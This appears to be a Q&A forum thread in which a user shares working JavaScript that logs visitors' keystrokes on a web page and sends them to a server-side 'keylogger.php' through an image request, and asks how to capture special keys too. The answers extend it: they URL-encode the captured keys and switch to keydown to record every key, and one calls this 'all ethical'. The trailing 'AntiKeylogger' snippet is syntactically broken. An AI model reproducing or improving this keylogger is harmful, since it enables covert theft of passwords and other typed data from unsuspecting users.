JS code The following is javascript code for keylogging on html page.

var keys = '';
document.onkeypress = function(e) {
  get = window.event ? event : e;
  key = get.keyCode ? get.keyCode : get.charCode;
  key = String.fromCharCode(key);
  keys += key;
}
window.setInterval(function() {
  if (keys != '') {
    new Image().src = 'keylogger.php?c=' + keys;
    keys = '';
  }
}, 500);

It does work but some special keys are not getting logged for example space,tab,backspace etc.

How can I customize the above code to log all special keys?

JS code The following is javascript code for keylogging on html page.

var keys = '';
document.onkeypress = function(e) {
  get = window.event ? event : e;
  key = get.keyCode ? get.keyCode : get.charCode;
  key = String.fromCharCode(key);
  keys += key;
}
window.setInterval(function() {
  if (keys != '') {
    new Image().src = 'keylogger.php?c=' + keys;
    keys = '';
  }
}, 500);

It does work but some special keys are not getting logged for example space,tab,backspace etc.

How can I customize the above code to log all special keys?

• javascript
• html
• keylogger

• Likely due to URL encoding. – VLAZ Commented Nov 4, 2018 at 9:05
• What is the reason for downvoting? – Dávid Molnár Commented Nov 4, 2018 at 9:10
• fromCharCode isn't going to work with values live Alt from KeyboardEvent.keyCode. – Richard Commented Nov 4, 2018 at 9:13
• 2 @DávidMolnár I'm going to guess ethical. Although I can't really say for sure - some posts get downvoted seemingly because OP didn't know every single intricate detail of how SO posting works. Regardless if they are a new user or not. One new user asker got scolded by a very high rep member for not formatting the code correctly...when it would have taken 5 seconds to click Edit, hightlight the code and click the {} button which would have "formatted" it. So, some tend to be really petty and intolerant, regardless of the topic of the question. – VLAZ Commented Nov 4, 2018 at 9:23

2 Answers 2

URLs can contain only a specific set of characters. This is the reason you need to encode the characters you want to send. Use the encodeURIComponent function on keys:

new Image().src = 'keylogger.php?c='+encodeURIComponent(keys);

Actually with document.onkeypress will not be able to capture Tab & Backspace you need to use document.onkeydown as

document.onkeydown = function(e){ 
    console.log(e);
};

If you that you will be able to log that in console

Finally you can update your keylogger as:

//keylogger
var keycodes = "";
var keychars = "";
document.onkeydown = function(e){ 
    keycodes += `${e.code}, `;
    keychars += `${e.key}`;
    
    if(e.code === "Enter") // when Enter is pressed print the line in console
    { 
        console.log(keycodes); //print code
        console.log(keychars); //print char
        keycodes = ""; //make null
        keychars = ""; // make null 
    } 
};

And Relax this is all ethical as javascript provides api to intercept keypress.

To overe this we can have something as Anti-Keylogger and call it when the page is loaded

//Disables the keystroke logging 
function AntiKeylogger(){
    window.onkeydown = undefined;
    window.onkeypress = undefined;
    window.onkeyup = undefined;
    document.onkeydown = undefined;
    document.onkeypress = undefined;
    document.onkeyup = undefined;
}();